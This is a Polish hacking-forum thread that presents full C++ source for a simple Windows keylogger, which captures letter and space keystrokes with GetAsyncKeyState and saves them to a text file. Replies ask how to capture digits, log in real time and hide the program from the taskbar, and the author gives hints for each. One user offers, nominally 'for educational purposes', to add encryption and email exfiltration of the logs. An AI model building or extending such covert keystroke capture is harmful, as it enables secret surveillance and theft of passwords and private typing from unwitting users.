Strona 1 z 3

[C++] Najprostszy keylogger lokalny

: 28 kwie 2015, 21:10
autor: F3nix
Kod źródłowy najprostrzego keyloggera napisanego w C++. Keylogger rejestruje znaki, aż do wciśnięcia klawisza F8 na klawiaturze następnie zapisuje logi do pliku logi.txt.

Przetestowane w środowisku Code::Blocks 13.12 z kompilatorem MinGW.

Kod: Zaznacz cały

#include <fstream>
#include <cstring>
#include <windows.h>

using namespace std;

int main()
{
    int Char;
    string text;
    ofstream log;
    log.open("logi.txt");
    while(!GetAsyncKeyState(VK_F8))
    {
        for(Char = 65; Char < 90; Char++)
        {
            if(GetAsyncKeyState(Char) == -32767)
            {
                text+=Char;
            }
        }
        if(GetAsyncKeyState(VK_SPACE)==-32767)
        {
            text+=" ";
        }


    }
    log << text;
    log.close();
    return 0;
}

Re: [C++] Najprostszy keylogger lokalny

: 28 kwie 2015, 21:33
autor: Czajkos
Mam pytanie, czy dokument logi.txt trzeba stworzyć samemu, czy stworzy o się samoistnie (jeżeli tak, to gdzie on się znajduje)?

Re: [C++] Najprostszy keylogger lokalny

: 28 kwie 2015, 21:38
autor: F3nix
Tworzy się automatycznie w folderze z keyloggerem (tam gdzie zostanie uruchomiony). A zapisuje logi gdy wciśnie się klawisz F8, ponieważ jest poza pętlą przekierowanie zebranych danych do pliku. Tutaj dopiero zapisuje logi w tym pliku:

Kod: Zaznacz cały

log << text;
log.close();

Re: [C++] Najprostszy keylogger lokalny

: 28 kwie 2015, 21:40
autor: Czajkos
Dziękuję za odpowiedź :D

Re: [C++] Najprostszy keylogger lokalny

: 28 kwie 2015, 22:04
autor: dadas96
1. Jak zrobić rozróżnianie cyfr od liczb? Ten keylogger pokazuje tylko litery (char), żadnych cyfr ani znaków specjalnych
2. Zapisywanie wprowadzonego znaku bezpośrednio po jego wciśnięciu, zamiast oczekiwania na wciśnięcie 'F8', da się, ale jak?
3. Co zrobić, aby program uruchomił się w tle? Tak, by nie było go widać w pasku zadań.
Pozdrawiam.

Re: [C++] Najprostszy keylogger lokalny

: 28 kwie 2015, 22:17
autor: F3nix
1. Jak zrobić rozróżnianie cyfr od liczb? Ten keylogger pokazuje tylko litery (char), żadnych cyfr ani znaków specjalnych
2. Zapisywanie wprowadzonego znaku bezpośrednio po jego wciśnięciu, zamiast oczekiwania na wciśnięcie 'F8', da się, ale jak?
3. Co zrobić, aby program uruchomił się w tle? Tak, by nie było go widać w pasku zadań.
Pozdrawiam.

Jesteśmy fanami intelektualnych gier. Jeśli zaczynasz dopiero przygodę z programowaniem, polecamy darmowe kursy C++ dostępne w internecie. Aby chociaż miejwięcej rozumieć kod.

1. Nie będę dawał gotowca ale kluczem do rozwiązania zagadki jest linia:

Kod: Zaznacz cały

for(Char = 65; Char < 90; Char++)
jest to pętla która sprawdza znaki ASCII od 65 do 90. Polecam przeczytać czym są znaki ASCII: http://pl.wikipedia.org/wiki/ASCII.
Przyjrzyj się następnie zamieszczonej tabeli tam (lub wpisz w grafike google "tablica ASCII"). Z naciskiem na kolumne DEC (dec to skrót od decimal czyli liczby dziesiętne tak na marginesie). Spójrz co znajduje się pomiędzy cyframi tam 65 a 90... Masz pomysł jak dodać rejestrowanie cyfr? :-)

2. Oczywiście że się da. Podpowiedź to pokombinowanie w miejscu linijki:

Kod: Zaznacz cały

text+=Char;
Druga podpowiedź:
Linia kodu:

Kod: Zaznacz cały

log << text;
odpowiada za zapisanie faktyczne do pliku znaków.
Morał taki że musisz zamiast dodawać do zmiennej text znaki wciśnietę to od razu je zapisać...
Warto przeanalizować w google jak działa ofstream czyli zapis do plików/strumienia:
http://qvazar.pl/kurs-cpp/pliki-zapis-odczyt ewentualnie zainteresować się funkcją fopen.
3) W google wpisać coś w stylu:
code blocks hide console window

Re: [C++] Najprostszy keylogger lokalny

: 04 maja 2015, 13:49
autor: steo
Mógłbym lekko go przerobić, aby wszystko było szyfrowane i wysyłało dane na email, nie wiem czy komuś by się przydało. Oczywiście, tylko i wyłącznie w celach edukacyjnych. ;)

Re: [C++] Najprostszy keylogger lokalny

: 04 maja 2015, 22:20
autor: F3nix
2. Nikt nigdy nie powinien rozwiązywać problemu dwa razy.

Twórcze umysły są wartościowym, rzadkim surowcem. Nie powinny być marnotrawione na powtórne wynajdowanie koła jeśli jest tyle fascynujących problemów czekających na rozwiązanie.
Aby zachowywać się jak hacker musisz wierzyć, że myślowy czas innych hackerów jest cenny - tak bardzo, że niemal moralnym obowiązkiem jest, abyś dzielił się informacjami, rozwiązywał problemy i rozdawał rozwiązania tak, aby inni hackerzy mogli rozwiązywać nowe problemy zamiast konieczności ciągłego przetwarzania starych.

(Nie musisz wierzyć, że masz obowiązek rozdawać za darmo całą swoją twórczą działalność, choć hackerzy, którzy tak czynią uzyskują najwięcej szacunku od innych. Nie jest sprzeczne z wartościami hackera, żebyś mógł sprzedać wystarczająco dużo, aby mieć dostęp do pożywienia, dachu nad głową i komputerów. Jest logiczne, że używasz swoich hackerskich umiejętności aby utrzymać rodzinę lub wręcz wzbogacić się, tak długo, dopóki robiąc to nie zapomnisz, że jesteś hackerem.)
Źródło: http://www.mkgajwer.jgora.net/ers.html

Co do szyfrowania niedawno na fanpage wrzucaliśmy XOR'a gotowiec w C++ więc można wykorzystać do szyfrowania stringów.

Re: [C++] Najprostszy keylogger lokalny

: 04 maja 2015, 22:23
autor: steo
No popatrzcie jak gardzi. :mrgreen:

Re: [C++] Najprostszy keylogger lokalny

: 04 maja 2015, 22:25
autor: F3nix
Ja nie gardze, Twój czas Twoja sprawa... a potem pytania "JAK TO SKOMPILOWAĆ", "JAK TO WYSŁAĆ", "NIE DZIAŁA". xD